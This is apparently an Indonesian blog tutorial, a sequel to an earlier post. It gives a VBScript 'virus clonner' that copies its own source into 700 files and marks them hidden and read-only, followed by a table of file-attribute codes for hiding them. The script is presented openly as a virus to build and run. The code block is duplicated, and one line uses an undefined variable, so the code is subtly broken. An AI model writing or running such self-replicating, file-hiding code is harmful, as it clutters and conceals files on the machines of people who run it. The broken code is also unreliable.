Setelah kalian bisa mempraktekkan pembuatan Virus Clonner pada artikel "Bikin Virus Clonner", sekarang agar Clonner kalian tersembunyi atau hidden, kalian perlu menanbahkan atribut didalamnya.
Caranya :
1. Seperti biasa, buka Notepad atau lainnya.
2. Ini Scriptnya :
On Error Resume Next
dim Vir,Rus,Clo,Ning,Atrib
set Vir=CreateObject("Scripting.FileSystemObject")
set Rus=Vir.opentextfile(wscript.ScriptFullName)
Clo=Rus.readall
Rus.close
for V =1 to 700
set Ning=Vir.CreateTextFile("Clonner" & V & ".vbs")
Ning.write Clo
Ning.close
set Atrib=Vir.GetFile("Clonner" & r & ".vbs")
Atrib.Attributes=3
next
dim Vir,Rus,Clo,Ning,Atrib
set Vir=CreateObject("Scripting.FileSystemObject")
set Rus=Vir.opentextfile(wscript.ScriptFullName)
Clo=Rus.readall
Rus.close
for V =1 to 700
set Ning=Vir.CreateTextFile("Clonner" & V & ".vbs")
Ning.write Clo
Ning.close
set Atrib=Vir.GetFile("Clonner" & r & ".vbs")
Atrib.Attributes=3
next
3. Simpan, jangan lupa untuk mengganti pilihan "Text Document (*.txt)" menjadi "All Files" lalu beri nama "Clonner Hidden.vbs" (Tanpa tanda petik).
4. Jalankan file Clonner Hidden.vbs.
Angka 3 pada attributes=3 menandakan file yang akan tercipta beratribut Hidden dan Read Only, kalian bisa menggantinya, ini keterangannya :
- Kode 0 = Atribut Nornal
- Kode 1 = Atribut Read Only
- Kode 2 = Atribut Hidden
- Kode 3 = Atribut Hidden + Read Only
- Kode 4 = Atribut System
- Kode 39 = Atribut Super Hidden
To be Continued....
0 komentar:
Posting Komentar